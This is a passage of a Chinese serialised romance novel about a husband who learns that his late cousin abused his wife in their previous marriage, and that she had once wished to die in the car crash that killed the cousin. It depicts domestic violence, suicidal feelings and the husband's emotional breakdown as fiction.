他甚至宁愿她像前段时间那样说那些古怪的话,也好过如今这种带着无望的认命的平淡感。 “你是不是……从来就没真正相信过我?” 不相信他是真心替她给舒家翻案的,不相信他会为他们做到这个地步,不相信舒家的事真的跟他一点关系都没有。 “你还想要怎样呢?” 舒纯熙歪了歪脑袋,很认真地说: “能给你的,我都给你了。你要我爱你么,我尽力在爱了,除了我这具身体,我还有什么没有如你所愿的?我已经给了你全部了。” 她眨了眨眼,心中一阵疲惫裹挟着剧烈跳动着的心跳,让她如同置身于冰雪两重天里面。 曾经那个人也是这样的,她明明已经给了她能够给出的全部了,但他要的却好像还是没能得到满足,好像还是不够。 可她真的已经用尽全部的力气了。 女人闭上了双眼,张开嘴唇吞吐着急促起来的呼吸,眉心紧蹙。 她现在甚至都开始相信宗正那时候给自己的暗示了。 或许舒家的覆灭,根本就是敬渝的意思,是他的谋划,或者有他的推波助澜。 女人推开椅子也跪下去,盯着他的眼睛,很诚挚地问: “难道我对你还不够好么,你还想要我怎样吗?” 敬渝的脸色灰败下去,蠕动着双唇,最终颤颤地用一种被欺骗后的薄怒语气,压着声说: “你为什么就是不能相信我呢?一次不忠,终身不用是吗?从来就只有两年前的那次,那是我唯一一次对不起你,放任你离开我的身边,除此之外,我没有任何对不起你跟舒家的地方,你相信我,你相信我不行么?” 他说着,苦笑起来,脑子里的回忆走马灯似的开始走。 原来如此,原来如此。 她从来就没有相信过他。 所以她骗他说她怀孕了,是因为她已经不相信他会接她回来、好好保护她了,所以她才要装作她怀了敬亭的孩子的模样。 到现在,所有的一切都没有她的几分真心。 她根本,从来就没再真的信任过他。 敬渝第一次在心里生出一种莫大的荒谬感,仿佛他接触到的所有一切都是假象。 她根本就不愿意相信他。 这种感觉将他淹没,险些将他溺亡。 甚至在这样的情况下,他埋藏在心里久久不愿问出口的一件事,竟然也死灰复燃,终于有了提及的机会。 男人抬起头,目光里带着点审视,绝望地对她说: “车祸的调查结果出来了,我的人查了所有路段的监控,他们说只有那一天你们两个出门的时候没有带保镖,而且一开始是你开的车,为什么到了一半,你们下车交换了位置?” “你,” 敬渝几乎说不下去,心中如同刀割般难耐,但那个答案简直呼之欲出,长久以来也在心里折磨着他。 “你是有意的,是么?” 第49章 男人用饱含痛意的眼睛望着她,等待着她的回答,等待着她替 自己辩解,说“不”,等待着她的否认将自己从这日夜煎熬里给解救出来。 但他又好像并没有在等,因为他心中已经有了一个答案。 如果不是他已经有了答案,又怎会不敢来问她,怎会自顾自地将这桩事彻底地掩埋在心底。 他不敢问,他也不敢去细想。 他没有去质询真相的勇气,因为那是他唯一的爱人,他好不容易才失而复得的珍宝。 “所以呢?” 眼前的女人缓慢地仰起头跟他对视,眼里流露着一种他怎么也都读不懂的情绪,十分冷淡平静地询问了一句, “你是选敬亭,还是选我?” 敬渝十足地苦笑了起来,点着头望着她,胸膛里的难以言喻实在是百转千回,将他的五脏六腑都给纠结在了一起。 他就不该问的,因为他根本就不敢去承受真相。 她没有明确地回答,但回不回答又有什么分别。 他问了她这件事,就像她反问的那样,他选她,还是选自己的堂弟。 选她,就像他一直以来那样做的,将这件事给烂在心里,不要再去细究,不要再翻出来质疑,试图弄明白怎么回事。 还是选他的堂弟? 那时候他又该怎么办,他们的婚姻本就已经一团乱麻,从来都只是他在粉饰太平而已。 多一桩事少一桩事又有什么分别? 还是有的。 男人颓然地低下头,将另一只腿也放下,直挺着身子跪在地上,不再掩饰带着怒气的声音,低吼道: “到底为什么,因为他对不起你,因为他出轨了?!” “他背叛你,确实是他的错,但是,” 敬渝心痛难耐,不知道为什么亲人的死亡跟这个男人曾经对自己妻子的背叛,这两件同样让他心痛的事情要放在一起比较,最终分出个高低贵贱来。 他几近咬着牙,从嘴里一字一句地挤出来剩下的字, “那到底是一条人命,难道真的就罪以、至、死吗?” 说完这句话花了他全身的力气,敬渝撇着嘴角面上一片死寂,收敛了一些气势,从前那双常常将她握在手里的手僵着,纹丝不动。 再开口,还是接受不了事实,锥心刺骨地诉道: “你怎么能……你要我现在怎么办,他毕竟是我的堂弟,而你,是我的妻子! “为什么要把事情弄成这样?……” 他茫然地呢喃着,苦笑出了声。 舒纯熙看着他的一系列反应,轻轻地眨动了一下双眼,支着的上半身被逐渐抽走了力气,朝后跪坐在了脚上。 很静,很静。 敬渝,你是真的很可笑啊。 她坐在他面前,看着眼前男人懊恼得无所适从的样子,竟然无声地勾起唇嘲讽地笑了一下。 对,那毕竟是一条人命,毕竟是你的亲堂弟呐。 所以呢? 舒纯熙的思绪终究还是往回倒带了。 那是她出院的第二周。 她察觉得到暗中是多了些观察她的人。 这是那两年里她不得不练出来的敏锐,但她没有警觉,反而放任了他们的存在。 因为她不想活了。 她真的不想活了,从在病房醒过来的第一刻起她就有了这个明确的念头。 她知道父亲母亲还在等她回国,她知道她应该坚强一点忍耐下去,她知道,这些她都知道。 但去死的念头却从来没有那么强烈地萦绕在自己的心头。 敬亭忏悔的神情和话语,一分一毫都令她无比作呕。 她想死,她不想活了。 那些在暗处的人大概是来杀她灭口的吧。 她想。 就这样,那天她不让保镖跟着的意愿很强烈,即使是敬亭也没办法拿她怎么样,毕竟他心怀莫大的愧疚,那时候就是让他去摘星星他也会愿意的。 所以他们两个人一辆车上了路,本来是要去城外的一个庄园赏景的。 本来是她开的车,她料想对面的车应该会控制好力度从左侧撞过来。 驾驶室的人会死,而副驾驶的人应该不会,毕竟那是敬亭,谁敢在暗杀自己的时候搭上敬家人的性命? 但是到了半路,她腹痛难忍,那大概是因为她的第一次清宫手术并未做好,所以他们只好交换了位置,变成了敬亭开车。 当时她头冒着冷汗,就像一只受伤的小鹿一样蜷缩在椅座上,咬牙拒绝了敬亭要调头去医院的要求,坚持要他沿着原定路线继续开。 在她疼得迷蒙绝望的那一刻,她确实是生出了要跟敬亭同归于尽的念头。 她也不知道为什么,对于那个从自己身体里流走的孩子她会有那么强烈的感受,难道是母性终于被唤醒了么。 她没想明白,但她至少清楚一件事,那就是她本不想怀孕也不想生孩子的,但敬亭不管不顾,他没有尊重她的意愿强迫了她。 好不容易终于怀上了,孩子却又被他刺激得保不住了。 这一切都是敬亭的错,全部都应该算在他的头上。 她本不愿怀孕的,但失去那个孩子的时候,她清楚的知道,自己脑子里长久紧绷着的那根弦,彻底断掉了。 至于最后,为什么敬亭在最后关头挡在了前面,为什么死的是敬亭而不是她,她没有想明白,但也不想去细究了。 想起这些往事,她的身体如同稻穗一般微微抖动着,明显得应激,那流淌在血液里的液体也骤然停滞了动静,要将她留在这冰天雪地里面。 反而这种时候,她愈发地平静。 舒纯熙伸出手,微笑着抚摸了一下敬渝的下巴,淡淡地说: “其实本来我是想跟他同归于尽的,但是没死掉,不然就能给他赔命了。所以很可惜,真是让你失望了。” 说完,女人从地上爬起来,自顾自地越过他,离开了书房。 只剩下徒留在原地的男人,阴郁着一张脸,双睫因她最后的话迟缓地眨动了一下,良久地呆立着。 按照原定计划,两天后二人要去北省首都参加祝文兵的国葬仪式。 其实敬渝本可以自己一个人去的,但这次的仪式并非只是一个过程,更是他定好了要将代表舒家的妻子带到各界政要面前的场合。 所以夫妻二人会同时出席。 两天的时间说长不长,说短也不短,敬渝一直待在书房里面,不知道在做什么,而舒纯熙也只是守着自己的卧室,未曾再踏入敬渝的领地半分。 两个人各自守着彼此的一方天地,连一日三餐也不在一起吃了,更遑论同榻而眠。 只是到了第三天清晨,舒纯熙跟敬渝又不约而同地出现在了大门口,坐上了出发去机场的车。 看着等在一旁的郑徽暗自称奇。 等到坐上了车,他又觉得,车上的氛围比起当初从机场接太太回来的时候,根本是有过之而无不及,毛骨悚然地打了个激灵,郑徽从后视镜看分坐在后座的两人。 这次去机场他们坐的依旧是七座的保姆车,两个人分开各坐各的位子,也方便了他们一左一右偏头去看自己那边的窗外风景。 总而言之,据郑徽自己默默观察,从去机场,到乘飞机,再到下了飞机去下榻的酒店,太太没有主动跟敬总说过一句话。 而自己好几次不经意的跟太太对视上,都看到她的眼睛里带着一种漫不经心的淡然,仿佛浑身上下都写满了“那怎么了”这几个字。 郑徽不由得心里一抖,跟唐廪交换了一下眼神,觉得现在的太太完全变了个样。 一开始刚回维尔亚的时候,她是那种秋风里就要被折碎的枯草,后面好像慢慢好了一些,然后又在前段时间变成了高傲的波斯猫,至于现在,郑徽在“沉睡的活火山”跟“坚韧的蒲草”只见摇摆不定,不敢妄下结论。 只是奇了怪了,敬总居然也能忍住不跟太太说话,要知道以前他在太太面前可是够伏小做低的,捧在手心里怕摔了、含在嘴里又怕化了,简直没眼看。 但现在这样子,他觉得这两个人至少是吵了一大架…… 祝文兵的国葬仪式压了一两个月才举行,其中自然也有敬渝跟祝正扬那封类似于“绝笔书”的文件的作用。 场上已无暗流涌动,盖因国政院风云已定,接下来要做的不过是如何按下各方 蠢蠢欲动的势力。 开始进去吊唁之前,一群人全都站在大厅外面,交谈寒暄声不绝于耳,一时之间整个场内有点喧闹。 舒纯熙跟在敬渝身边走进去,尽量忽视其他人若有似无的眼神和耳边的吵嚷,沉着心往里面走。 恰好宗正随着父亲站在右侧这边,看见久违的舒纯熙的身影,抬起手来主动朝她摆摆。 女人自然瞧见了他的动作,顺势走了过去跟宗正的一大家子打了个招呼,然后再转头回去,只见敬渝一脸沉静站在不远处,似乎是在等她。 见她回头,男人别开眼神,并没有跟她对视,反而抬起脚步走到她跟前,同她方才打招呼的那一群人也礼貌地问候,而后伸出手攥住她的手腕,无声地带着她去了另外一边。 敬渝自有自己要拜会的人,但还是留了点耐心等了下她,然后才拉着她防止她跟自己被人群冲散,朝着另一边走过去。 就这样两个人到了大厅外的花园草坪上,场外也候着不少人,只不过三两成群稍微闲适一些。 就连呼吸的空气仿佛也没有那么浑浊有限了。 室内有布置好吊唁的灵堂,而室外也有相关的造景,木架置放在草坪上,上面缠绕着白色的鲜花,沿着一条路径依次排开。 敬渝带着她朝一个年迈的老人走过去,介绍说这是国政院的某位议员,两个人打了招呼,接下来主要就是敬渝跟他寒暄。 说的话弯弯绕绕很是奇怪,舒纯熙只觉得自己听不懂,逐渐就走了神。 突然身边的男人动作果决地扬起手朝自己来,余光看见的同时,几乎是下意识地,女人抬起一侧手臂,将手肘举到耳边呈防御的格挡姿势。 耳边静静的,她等了好一会儿也没接下来意料之中的疼痛,只是一声木头与骨头碰撞的声音响起。 直到此时,舒纯熙才意识回笼,不动声色地收回手拢了拢耳边的头发,然后转过身一看,见身后方才倒下来的一个花架子,被敬渝用手挡住,才没有砸到她。 她朝着廊下后退了一步,有些愣怔的目光对上敬渝的。 男人沉着眸,审视探究地望着她。 第50章 旁边的老议员弄不明白眼前这事,方才舒纯熙的动作反应,明眼人细想一下就知道,她是将敬渝的举动当成了要攻击她的样子。 但是她显然想岔了。 老议员笑了一下,主动继续起刚才的话题,默不作声地打起了圆场。 敬渝也伸手将那花架再度摆好,悄无声息地收回双手,侧转过身来,继续进行着谈话。 这件事就这样在明面上掀过去。 但在敬渝的内心深处,他原本沉静地如同汪洋大海一般的心底里,已经不容置疑地掀起了一层漩涡,将思绪和疑虑席卷起来,越聚越大。 之后,仪式正式开始之后,众人摆成井然有序的队伍,完成了冗长的肃穆吊唁。 他的心思也始终飘忽在先前的那个小插曲上面,甚至时不时就用一种隐藏了疑惑地眼神,望上一眼站在自己身侧的女人。 这一天几乎就这样消耗完,直到晚宴结束,一群人才得以返回酒店。 下了车,喝了些酒的男人特意走在后面,散着酒气。 虽然这次他跟舒纯熙是各住一间房,并没有什么机会熏到她。 唐廪站在敬渝身后半步,跟着他缓缓地走在长廊上,附耳轻声同他汇报道: “今天郑明波郑副院同祝郧阳起了些口角,两个人在灵堂上差点大打出手,是祝先生出面才强压下的。” “他们这是闹的哪一出?” 敬渝原本就皱着的眉头更甚,整理着袖口,心道祝郧阳不提,但郑明波是自己这边的,他可没有授意郑明波今天在灵堂上干什么。 “不知道,我让游之翎去查了,貌似说的就是祝司长遗嘱的事情,当时闹得有些大,今晚的晚宴有些人都没有参加,想来也有这个缘故。” 走在前面的男人停下了脚步,到了房门跟前用房卡打开房门,待到走进去后才沉声说: “怎么现在才说?你告诉游之翎时刻看着,可别让他们真闹出来什么事。还有,去查查祝郧阳。” 唐廪称是,就在准备离开房间的时候,走到落地窗边拉上窗帘的男人叫住了他,转过身走回门边,忽然淡淡地问: “一个人为什么会下意识做出防范的举动?” 敬渝回忆了一下,复刻了上午舒纯熙的那个抬手的举动,牵扯到西装腋下,不由得更确定这是在防范被打,因为男女生体型力气不同的缘故,他就没有什么机会做出这个动作。 唐廪跟他一起琢磨了一会儿,默默地提醒道: “我觉得做出来这个动作的话,应该不是第一次吧,有可能是之前被这样攻击过,觉得可能会再次被攻击,所以才会养成这种下意识的习惯。” 说着,唐廪转动了一下眼珠,跟着敬渝的动作,也模拟了一下另一个人的动作。 也就是说,比她高上不少的人曾经占据过身高优势,从上到下对她的身体进行过攻击? 唐廪顺势在椅子上坐了下来,然后示意敬渝试试看高度对不对。 敬渝只望了一眼坐着的男人,就立刻生出了退缩之意,圈住双拳抵了抵眉头,觉得自己真是醉得不轻。 已经无需再试了,他现在只想知道: 是有谁曾经这么打过她么? 思绪有点停滞了,然后一丝烦躁的火苗从心里蹿起来,完全不受控制地迅速燎原成了心慌。 男人忽然直起身子砸了下墙,鼻子里吐着粗气,没好气地说: “不是让你们去查纯熙在波利的事情了吗,还没有一点回话吗?” 唐廪站起身,不作声地表示还没有,然后退出了敬渝休息的房间。 敬渝伸手捂在头上,觉得自己的额头格外地烫,心焦如麻。 他想直接去问舒纯熙的,但他又不敢。 他还是一整晚都在想这件事,已经到了一种无法入眠的地步,像是躺在床上等待着头顶悬着的那把剑什么时候落下来。 一日不定,他就一日不得安心。 参加完祝文兵的葬礼,敬渝没有过多在首都停留,第二天就启程带着舒纯熙回了南省。 然后,他又耐着天大的性子,等待了两天,总算等到了郑徽带回来的消息。 那是一个下着暴雨的午后,天上阴云密布,黯淡无光,闪电在厚重的乌云里闪着惊异的光,时不时就在耳边滚出一声巨响。 男人面对着窗户,站在沙发旁,望着外面的雨势。 郑徽敲了敲门,打开门走进去,将一个档案袋放在了桌子上。 他的声音很低,隐在天地自然的声音里几乎听不见,但敬渝还是若有所感般转过身,还算沉稳地走回了书桌旁边。 两个人都没有说话,但郑徽是看过里面的东西的,所以今天他甚至比上次带来敬亭出轨的消息时,还要不知道该怎么措辞,更不知道自己该表现出怎么样的神情来。 敬渝就站在桌后,将那个档案袋拿起来,用指尖解开上面绕着的几圈线,从里面将几张纸跟照片,还有一份订好的文件拿出来。 男人始终屏息凝神,动作自然地将那些东西都给翻看了一遍。 档案袋里装着的东西不多,但言简意赅。 舒纯熙跟敬亭在波利的家里五六位莫瑞恩尔佣人的回忆转述,已经从莫瑞恩尔语译成了维尔亚语。 几张旧时照片,上面是她背过身瘦弱的身影。 还有一份关于流产的报告单。 敬渝静静地看完那些东西,将那几个佣人说的话又给看了一遍。 “太太有很严重的失眠,这毛病我觉得跟先生分不开关系,因为先生总喜欢在外面玩到半夜再回来闹太太,所以太太半夜根本没办法睡好,久而久之也就养成了坏毛病。” “先生跟太太喜欢把房门关好后再吵架,但其实隔音很弱,我们在一楼也听得到。他们总是在为太太的那个前未婚夫争吵,常常吵着吵着就会动起手来,先生打太太打得很凶,太太却很少求饶。” “太太总是会在后半夜坐在阳台上哭,我悄悄告诉 过先生,是想让他不要回来睡完就离开家,想让他陪陪太太,但先生好像根本不在意我的话。我后来才知道先生以为太太是在哭她的前未婚夫,但我觉得不是这样,太太是在为先生哭的。可是先生他压根没问过。” “先生带了外面的女人回来,太太很生气,从楼梯上摔下来,身下见了红,应该是流产了,原来太太已经怀孕了。” …… 敬渝用手摩挲了一下上面的文字,两片张开的唇看上去各自像一条直线。 他将文件合上,然后抬起头,目光有点怔然,扫过郑徽的双眼,没说什么,放下东西越过了他。 打开书房门,男人走了出去,径直往楼上的主卧去了。 他僵着腿,刚出书房就有些踉跄了一步,扶住墙才在走廊上稳住,然后握上扶手,踩上了楼梯的第一阶台阶,一步一步地走了上去。 房门关着,敬渝没力气敲门,直接推门走进去。 女人坐在床尾,正在叠一件睡衣,她有强迫症,拿散了就要重新再叠过才好。 对于敬渝就这样冒失地闯到自己面前的行为,舒纯熙的大脑在那一瞬间其实是空白的。然后,才慢慢填补上了一点点惊讶的感受,愣怔地望着他绷得紧紧的嘴角,同时开始在心里面审视眼前的情况。 但她实在是解读不出来什么,因为眼下的情况实在是有点诡异。 她原以为他会有很长的一段时间不再理自己了。 但他就这样闯进来,连门都没有敲,伴随着窗外的瓢泼大雨,如同一只孤魂野鬼一样闯到自己跟前来。 还用一张面色难看到了极致的脸面对着自己。 在她刚刚意识到眼前这个男人的心情不知道因为发生了什么,而变得十分差的时候,他的脸色已经瞬间又转变成了另一幅模样。 严肃和阴郁虽然褪去,但周身的气场却并没有变上半两,只不过那张脸上已经摆上明显的痛苦难耐,看上去凄然万分。 以至于最后这人竟要将自己的嘴角刻意向两边翘起一点,才能试图像往常一样表现得柔情温暖,但是扯不出半点笑容,他失败了。 他竟然也有装不下去的一天。 舒纯熙有点新奇地审视着他的样子,从床上站起身来,盯着他这张在窗外滚滚惊雷的映衬下,看上去也好不了多少的脸,疑惑地问出了声: “你怎么了啊?” 敬渝听着她的声音,循着声音将目光聚焦在她的眼睛里,满脑子都是自己刚刚看到的那些字。 他几乎不能够去想象,敬亭怎么能够那样去对待她,怎么能那般伤害这么美好的她的。 胸膛里的那颗心鲜血淋漓,仿佛下一刻就会被缠绕在上面的无数根丝线给分尸,所以他只好不去感受,只好用尽全身的力气去把那感受给压下去。 心绪乱得要命,但他应该回答舒纯熙的问题的。 敬渝花了好一会儿才成功找到自己的声音,直愣愣地盯着她,从嗓子里艰难地挤出来几个字,一字一句地说: “他……他竟然打你么?”【你现在阅读的是 】 50-60 第51章 女人的瞳孔在他的注视下缓缓放大,脸色冷了下去,周身透出点生人勿近的气场,良久地沉默了下去。 这一系列的变化发生得很快,吉光片羽根本伸手抓不住。 虽然她不想答,但这反应已经很明显是默认了。 敬渝不可置信地张开嘴发出一声气音,似笑又似哭,如同一只骄傲的头狼,活生生折断了高傲的脖颈,在她面前狼狈地垂下了头颅。 “为什么,为什么不跟我说……” 他点了一下头,又点了一下,如同摇晃一般重复着这个无意义的动作,声音特别小,强忍着声音里的颤抖,努力让它听起来还算平静稳重,不知道算是辩解还是哭诉,总之随着时间的推移他越想越发崩溃,撕扯着低吼道: “我不知道,我根本就不知道,我什么都不知道,你为什么都不告诉我……” 他竟然还以为他们两个过得很幸福,以为敬亭对她很好。 他本可以有很多方法可以去窥探他们的生活的,只要他想。 但他没有,因为他根本就没有勇气去窥探他们的幸福,他没往波利派过哪怕那么一个眼线。 但凡,但凡……啊! 敬渝握住双拳,从手臂到拳头几条青筋暴起,蜿蜒在手臂上看着有点可怖。 男人突然抬起手溃不成军地一连猛扇了自己好几个巴掌,嘴里没说完的话,都被他打成了一种听起来像是动物般呜咽的声响。 “呜啊”一声,砸了出来。 如果他知道敬亭对她一点都不好的话,他就算是不顾她的意愿也要带她走的,可恨,可恨他竟然被瞒在鼓里整整两年,可笑他竟然时至今日才知道这件事。 但凡,但凡他能早点知道…… 敬渝整个人看上去吓人极了,一个一贯稳重自持的人,原来也是会如此言行无状的。 他那种温柔的本质已经不见了,舒纯熙很清楚地看得见那都变成了裹住他、试图将他闷得窒息的情绪外衣。 当他知道真相的时候,如果不能够为自己开脱的话,那些情绪就会不可避免地转为尖刀将他一次次凌迟。 舒纯熙终于有点迟疑地伸出了手来,探身握住了那只狂怒的手掌,将几根僵直的手指头握在自己手心,拦住了他的动作。 想了想,还是小声地对他说了句: “其实、我也有还手的。” 只是她打不过敬亭而已,但她肯定不会任着他打自己,她的脾气也不好,他们俩更多的是互殴、然后各自挂彩。 只是这话没起到半点作用,反而像催化剂一样,敬渝眨了眨露出红血丝的眼睛,一行泪径直从他的左眼眼眶里流了出来,往下淌着。 舒纯熙的解释落在敬渝耳边,全然成了她刻意的安慰,他又怎么会看不出来她现在还在为自己着想,这么说只是不想自己太痛苦而已。 他简直不敢想象,她在波利过的都是怎样的生活。 更不敢想象,为什么直到现在,她还能说出这种话来好让自己不要自苦。 好痛,他只觉得五脏六腑、全身的骨骼经络都在发着痛,让他欲生不得、求死不能。 一连呜咽了好几声,男人克制着自己全身的力气跟情绪,强迫自己伸手抹了抹脸,透过朦胧的泪眼去望着眼前的女人。 敬亭竟然敢打她,竟然敢对她一点都不好。 他那么宝贝那么珍贵的纯熙,他视为这一辈子最重要的人的纯熙,恨不得把全世界美好的东西都送给她的纯熙。 敬渝深吸了一口气,挪动了一下手,是想要上前去拥抱她的样子,但手抬到近前,却又不可抑制地颤抖了起来,以至于竟然不敢用自己的双手真的去触碰到她。 好像眼前的这个人是什么一碰就碎的宝物一样。 一声刻意被压下去的呜咽陡然又在室内响起来。 舒纯熙眼睁睁看着,敬渝又当着自己的面哭了,泪水从他的眼角流了下 来。 他先前自己扇的巴掌全都落在右边的脸颊上,现在红起了一侧,然后脸色十分难看的面上又流着眼泪,跟外面电闪雷鸣的天气交相辉映,场面一度十分诡异凝滞。 舒纯熙站着,手脚都有些无措,没等她想好该在这时候说出点什么来,男人已经又张开嘴,用猩红的双眼盯着她,怆然地说: “我恨你,我恨你。” 他终于上前一步将她抱在怀里面,动作生疏陌生得仿佛他根本不知道该怎么做一样,偏头在舒纯熙的耳边,哽咽着用一种痛苦得不成语调的声音,喑哑地对她说: “我恨你,我恨死你了,你为什么什么都不愿意告诉我,为什么,为什么?!” 女人垂在身侧的手有点无力地蜷着,他的呼吸扑在耳边,质问得让她也心口一阵发紧,嘴巴像是糊了浆糊一样张不开了,喉咙里更是发不出来声音。 她怎么说? 向自己的前任哭诉现任老公待她如何不好么? 人是她选的,她做不出来这种承受不了后果就反水的姿态。 让她主动告诉敬渝这种事,只会比杀了她更难受。 婚姻不幸是她自己该处理的事,她当然不会向他求助,哪怕是一分一毫。 她现在没有计较他让人去调查自己以前的生活,也只是因为看他在自己面前哭成了这副鬼样子而已。 想着,舒纯熙也就只能在他怀里僵立着自己的身体,听他压抑着的呜咽声。 感受着这个男人将他的脑袋放在自己的肩窝上,颤抖着他的整个身体。 此时此刻,敬渝的体温高得异常,从来没有遇上过这么踩踏自己底线的事情,他只觉得胸膛里的思绪和所有情绪都搅动在了一起,就快要将他给烧得神志不清了。 舒纯熙也从来没有见过这个样子的敬渝。 自从回到维尔亚,她承认敬渝也在一点点地改变,有时候他表现出来的不一样的一面是会令她感叹,但绝比不上今天这样来得惊心动魄。 她有点茫然,以至于压根不知道到底应该怎么去面对现在这样的他。 她从来就没有预想到过眼前这样的场面。 面前的敬渝就如同一直困在笼子里负伤的暴躁猛兽,痛苦无比地叫嚣着,却又只能无可奈何地压抑忍耐着。 可能是因为面对着她,所以他即使心中有再大的怒火怨气,也不能发泄出来,因为他不会将这种东西给自己。 他又自顾自地呢喃了一句“我恨你”。 但那语调里哪里有半分真实的恨意呢。 说着我恨你,其实是恨自己,其实更是我爱你。 就这样,女人将压在自己身上的人推开来,拽住他的手腕,将他拉到床尾坐了下去,然后看着哭得一抽一抽的男人,伸出手来耐着性子给他擦了擦眼泪。 只不过眼泪越流越多,竟然怎么擦都擦不完,她索性就收回手要起身去拿茶几上的纸巾来。 还没站直身体,男人从后拥住了她的腰身。 “别走!” 他偏过头,用鼻梁在她腰上蹭了蹭,哽咽了低吼了一声。 女人的身体随着腰身上传来的触感板滞着,而后渐渐传染到了一整具身体。 但僵硬也不过几瞬,腰上的禁锢感陡然消失,那人已经将自己给松开了,嗡嗡的声音稍稍恢复了一点冷静, “抱歉,我现在有点不冷静。” 说着,男人没等她再去拿纸巾,站起来越过她就脚步匆匆地离开了卧室。 出了门,克制着动作将房门给关好,敬渝才呼出一口粗气,伸手捂住自己的额头,感受了一下那上面的体温。 他清楚自己不是发烧了,他只是太愤懑了,血液里的情绪激荡着连带着表面皮肤的体温也开始走高。 如果他不能做点什么的话,胸膛里的燃烧着的情绪会将他炙烤成一具干尸的。 男人快步走回了书房,只觉得大脑发胀,他见过舒纯熙之后的情绪非但没有平复半分,还因为在她那儿得到印证而愈发难以忍受了起来。 回到书房,周身低气压的男人抬腿猛地踹了一下书桌,将那张厚重的原木书桌也给移动了些许厘米,跟地板摩擦出一声阴沉的“呲”声。 敬渝收回腿又走到旁边的会客区,一脚踹翻了玻璃制的茶几,搭在上面的一块玻璃砖应声碎掉,他踩着碎碴子走过去,两手抻在窗边,神色阴沉无比地望着外面。 他竟然会以为敬亭跟舒纯熙两个关系很好。 他真是个十足的蠢货,一个无可救药的混蛋。 第52章 唇角终于勾起一个足够嘲讽的弧度,他干巴巴地笑了几声,又点头又摇头,形似癫狂,身形忽然一转,将旁边的落地灯同书架一齐推倒。 铁质的架子在落地的瞬间发出“铮”的一声响,男人走过去又踹了一脚,然后踩着钢筋铁骨走出了书房的门,一步步走到廊下,最终步进雨帘之中,朝着祠堂的方向去。 敬宅的祠堂外常年安排着守卫,里面有两位专门的人员负责登记来人、洒扫供奉。 平日里若非逢年过节,其实很少有人会来祠堂。 但今天敬渝却扣响了祠堂的门,如同弄丢了一魂一魄一般,直愣愣地走到那一面牌位墙上。 敬亭辈分最小,所以在下首。 而男人的脚步显然是追随他去的,他在那木牌前面站定,脚上犹如千斤重,脑子里开始重新回想起敬亭曾经的所作所为。 原来如此,一想到他的那些言不由衷的鬼话,都是为了气自己,然后回过头,竟然又去找纯熙的麻烦。 明明那两年,他跟纯熙清清白白没有一点纠葛,她就压根没敢跟自己多说一句话,但是就连这样,敬亭还是疑心她迁怒她。 他的纯熙何其无辜! 敬渝越想,心中怒火越甚,望着眼前这个已经入土的人的牌位,目眦欲裂到难以忍受,伸出手指着,大叫一声: “敬亭你这个无耻小人,你不是我弟弟,你再也不是我弟弟了……我看不起你,你简直是禽兽不如,你枉为人!” 音量陡然拔高,男人无奈悲愤的吼叫声猛然在祠堂里响起,连带着底下一拍烛火都抖动了起来。 仿佛是压抑着一刻都待不下去了,敬渝又僵着双肩立刻转身,大步跨出了祠堂。 庭院里柳叔撑着伞在等。 敬渝刚刚从主楼一路淋雨到了此处,他不会一无所知。 见他终于出来,在阶上留下一滩水淋淋的雨滴,然后又丝毫不在意地踏入瓢泼雨幕里,柳叔连忙迎上去,试图举起手中的伞替他遮挡。 敬渝抬起手制止了柳叔的动作,仰起头任头顶的雨水将自己一张脸给冲刷干净。 如此,才能让他心中奔涌着的苦恶消解那么一点点,好受那么一点点。 男人终于还是收回了头,摸了一把脸,低沉地说: “你把敬亭的牌位还有骨灰都送回莫瑞恩尔,以后我们跟莫瑞恩尔的人彻底不再往来。” 而一旁的柳叔心神不定,对于敬渝做出来的这个决定有点惊诧,又因为心里一桩陈年旧事始终压着,一连看了他好几眼,才低声应下。 再看吩咐完这件事的男人,鼻子里喘着粗气,依旧急躁不安地难以平复,抬起步子又要往外走,说是一只游荡在敬宅里面的野鬼也不为过。 柳叔心惊肉跳地看着他快步离开,连忙打着伞又追上去,然后在路上将他给伸手拽住。 “大少爷,发生什么了,你到底怎么了?” 柳叔手上也是有些劲儿的,此时急了一把将他给拽着,跺着脚吼着问道。 而被他拽着的、也不知道此时还应该去哪里宣泄自己怒火的男人,如同无根之草一样,卸了身上的力气,任他拽着自己,低下头来自述道: “柳叔你知道吗,敬亭原来对纯熙一点都不好,他打她骂她欺负她,还出轨去**。而我竟然以为她过的很好……都是我,都怪我,都是我的错,我真是个十足的蠢货。” “啊!……” 男人悲怆地仰天长啸,形神俱灭一般,面色灰败到了极处,甩开柳叔的手,瘫倒在路中间,痴痴地露出一个微笑来。 “都是我的错,是我辜负了她!” “少爷,少爷你振作一点啊。” 柳叔跪在他身边,伸出手拉他的胳膊,连忙劝说道: “你现在这个样子,就是太太看了也会难受的啊,你不要这样行吗?” 听到舒纯熙,敬渝好像是回过了一点神来,他撑着坚硬的石子路坐起身,眼里涌出热流,和冰凉的雨水交汇在一起,在面颊上肆意横流。 男人以手化拳捶打在心脏的位置,仿佛 一个机器人试图毁灭自己的思考装置那般,他想叫心不要再感受、不要再疼痛了。 但是没有一丁点的作用。 捶打得终于累了,充满悲意绝望的声音沙哑着响起来,他对着柳叔喃喃地说: “好痛,我的心真的好痛,柳叔,它真的好痛啊。” 男人倒吸着气,仿若已不敢再呼吸,一动弹就受不了了。 其形其状,就连见过大风大浪的柳叔也不禁眼眶湿润、险些落下泪来。 事已至此,如何安慰仿佛都是枉然,他也只能撑着伞,陪他一起待在这一方天地里。 雨水冲刷着男人的面颊,模糊了他的视线,他的胸膛、他的脑海里的一切却反而愈发清晰,将他时时刻刻叩问。 他真是个无可救药的混蛋,他竟然还因为车祸的事情生纯熙的气,他根本就不知道纯熙经历过什么、遭遇过什么! 啊! 无奈又愤怒的低吼无时无刻不在胸膛里响起,提醒他自己都做过多少蠢事。 他现在恨不得生啖敬亭的血肉,只恨那场车祸叫他死得太容易,走得太干干净净,如今让他连怒火都无处可以宣泄! 敬渝想着,两只拳头泄愤似的砸在石子路上,直至鲜血淋漓才终于在柳叔的阻拦下罢手,似哭似笑地从地上爬起来,身形踉跄地往主楼的方向回。 回到书房,男人就坐在那张单人沙发上面,浑身的衣服都已经湿透,上面的水渍伴着泥土的痕迹脏得很,他总算从暴怒变成了死一般的平静,等待着身上的衣服自己晾干,同时凝滞的还有双手上流血的伤口。 不知道过了多久,郑徽从外面敲了敲门,敬渝缓慢地抬起头,嘶哑地说了一声“进”。 郑徽走进门,看见敬渝如今的样子,心中不知道该作何感想,他经手那些资料的时候也是一阵难言,那个时候他就知道老板一定接受不了的。 就算是换做自己,估计也好不到哪里去。 